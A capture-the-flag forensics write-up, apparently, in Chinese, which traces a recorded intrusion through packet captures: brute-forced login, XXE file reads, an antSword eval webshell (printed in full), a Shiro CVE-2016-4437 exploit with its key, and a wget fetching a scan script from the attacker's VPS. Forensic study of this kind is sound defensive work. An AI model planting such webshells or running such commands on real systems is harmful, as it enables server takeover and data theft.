子任务01

攻击者公网IP和受害者公网IP(空格分隔)

流量包粗略的看了看有一些爆破的流量,IP为:223.104.3.160 初步确定攻击者IP

详细筛选流量包:http.request.method=="POST"

可以看到客户端的Host为:152.136.134.254,返回看一下攻击者的IP和我们初步确认的IP为同一个,所以这里直接确定这就是正确的攻击者IP和受害者IP。

1
223.104.3.160 152.136.134.254

子任务02

攻击者通过暴力破解得到的账号密码(格式:账号/密码)

拿到题目看到是爆破,直接筛POST参数:http.request.method=="POST"

这里可以看到会有一大堆的POST请求都是请求的/login.php按照默认顺序直接翻到最后一个/login.php的流量包,

这里直接找到账号密码:admin/password

1
admin/password

子任务03

攻击者通过XXE漏洞读取了哪些文件(按照攻击者的读取顺序,以英文的逗号分隔,使用绝对路径列出)

在上一个题目做题的过程中可以看到会有XXE这一类的命令,所以我们直接往上翻一下第一条登录成功的数据包。

可以看到这是使用xxe读取的第一个文件:/etc/passwd

这里按照顺序看下一个数据包找到第二个文件:/etc/hosts

继续往下看这里找到第三个文件:/etc/os-release

1
/etc/passwd,/etc/hosts,/etc/os-release

子任务04

攻击者对哪个目录进行了目录遍历(例:http://1.2.3.4:5555/admin/)

这里看到题目是目录遍历,所以我们直接筛GET请求:http.request.method=="GET"

筛过之后发现会有很多请求GET /hfghjkrtylkg/*,很明显就是在爆破这个目录,所以答案就是/hfghjkrtylkg/,我们随机追踪一个http,看到Host:152.136.134.254:9999

1
http://152.136.134.254:9999/hfghjkrtylkg/

子任务05

攻击者写入第一个webshell的内容(请直接将请求内容提取出来,并进行相关解码操作,将进行完全匹配)

看到GET请求下最后有一些传参,之前在POST请求下也看到过一些eval传参

注意:千万不要被误导,POST传参的eval就是用来误导我们的,做题过程中主包就是被误导了白白浪费一次提交机会。

1
<?php foreach($_POST as $a){ $code = $a; } eval($code); ?>

子任务06

攻击者使用什么webshell连接工具连接的一句话木马(格式:webshell工具名称/版本)

这里看到题目的时候主包心里就已经有答案了,但是最后备注的格式需要加版本,所以就浪费了一点时间,想了想版本号一般会在哪显示,翻了翻蚁剑的流量,同样也是筛POST请求找到2.php就可以了,突然想起来UA头没看

所以这里答案也出来了:antSword/v2.1

1
antSword/v2.1

子任务07

攻击者使用的php扫描脚本的名称,传递的IP地址范围、端口、超时时间(例:aaa.php;192.168.1.10;21,22,23,80,100,2333;3s)

继续筛POST请求,因为主包在做前面的题的时候注意到了这个php扫描脚本

看到这个scan.php这里startip代表的就是起始ip,endip就是最终ip,port就是端口,timeout就是超时时间。

按照题目要求汇总成对应的格式:

1
scan.php;172.18.0.1-172.18.0.254;80,8080;0.5s

子任务08

攻击者使用webshell连接工具的虚拟终端,执行的前3条命令(命令间用英文逗号分隔)

这个题分值很高,难度不算太高,但是里面有很多误导主包的数据包,分辨起来就很麻烦,而且这里提交flag次数有限制。所以就浪费了主包很多次机会。

这里我们已经知道使用的webshell是蚁剑了,所以我们直接去找对应的流量就可以了,蚁剑的流量执行的命令会在最后的数据中,仅仅只是base64加密。

这里我们去解密

看到执行了很多条命令,一开始主包以为前三条就是密码,所以就直接提交了,而且还改了顺序提交了好多次,依旧失败。

在最后主包详细去攻克的时候发现,下面的数据包的命令和上面的命令几乎一致,但是就一个命令不一样,所以主包就把不同的命令组合在一起提交发现成功了。

1
ifconfig,whoami,uname -a

子任务09

攻击者进行攻击所使用的VPS的IP地址

VPS想必都不陌生了,但是这里还是需要给一些刚入门的小白解释一下,VPS的IP地址是分配给该虚拟机服务器专用的互联网协议地址(独一无二)

在做之前的题的时候我们注意到一个ping.sh的脚本,从命名中可以看出来,这是一个关于测试网络连通性的脚本

既然是测试网络连通性,那一定会用到公网IP,所以这就是这道题的突破口

1
39.102.37.102
1
2
# 虚拟专用服务器(Virtual Private Server,VPS),是通过容器技术或虚拟化技术将物理服务器分割为多个虚拟服务器的托管服务 。其核心特征是为每个虚拟服务器分配独立公网IP地址、独立操作系统以及磁盘空间、内存、CPU资源,实现用户间系统配置隔离,支持自主安装程序及重启操作系统。
# 该技术采用操作系统虚拟化共享底层硬件资源,提供介于传统虚拟主机与独立服务器之间的资源分配方案,可灵活满足不同用户需求。主要应用于网站托管、电子商务平台搭建、数据共享、在线游戏服务及企业虚拟化领域,租用成本约为独立服务器的1/4至1/5。实际性能受服务商硬件配置及超售策略影响,容器技术因硬件效率较高通常定价高于虚拟机技术

子任务10

攻击者攻击内网机器172.18.0.3时所使用的漏洞的CVE编号

在找爆破的账号密码的时候主包也发现了攻击者利用shiro,所以我们直接去找shiro的流量包

很明显Cookie中存在rememberMe字段,所以我们直接去查对用的CVE编号就可以了

1
CVE-2016-4437

子任务11

攻击者利用shiro漏洞的密钥是什么

这一题就是找shiro的密钥了,我们既然找到了cookie那直接BlueTeam工具箱一把梭

1
kPH+bIxk5D2deZiIxcaaaA==

子任务12

攻击者得到172.18.0.3的shell后执行的前3条命令(逗号分隔)

还是shiro利用,但是一开始没做出来,做完子任务13发现了12的答案,嘿嘿

1
whoami,pwd,uname -a

子任务13

攻击者在172.18.0.3机器上拿到的ssh私钥的后8位是什么(等号也算)

直接Ctrl+F,搜索.ssh,然后找到下面这个.ssh#追踪数据包

看到这里就是最后答案DsOGnok=

1
DsOGnok=

子任务14

攻击者下载内网扫描的shell脚本使用的命令是什么

还是使用子任务13追踪的数据包,继续往下看

可以看到使用的内网扫描的工具是ping.sh,所以这里答案就是:wget http://39.102.37.102/ping.sh

1
wget http://39.102.37.102/ping.sh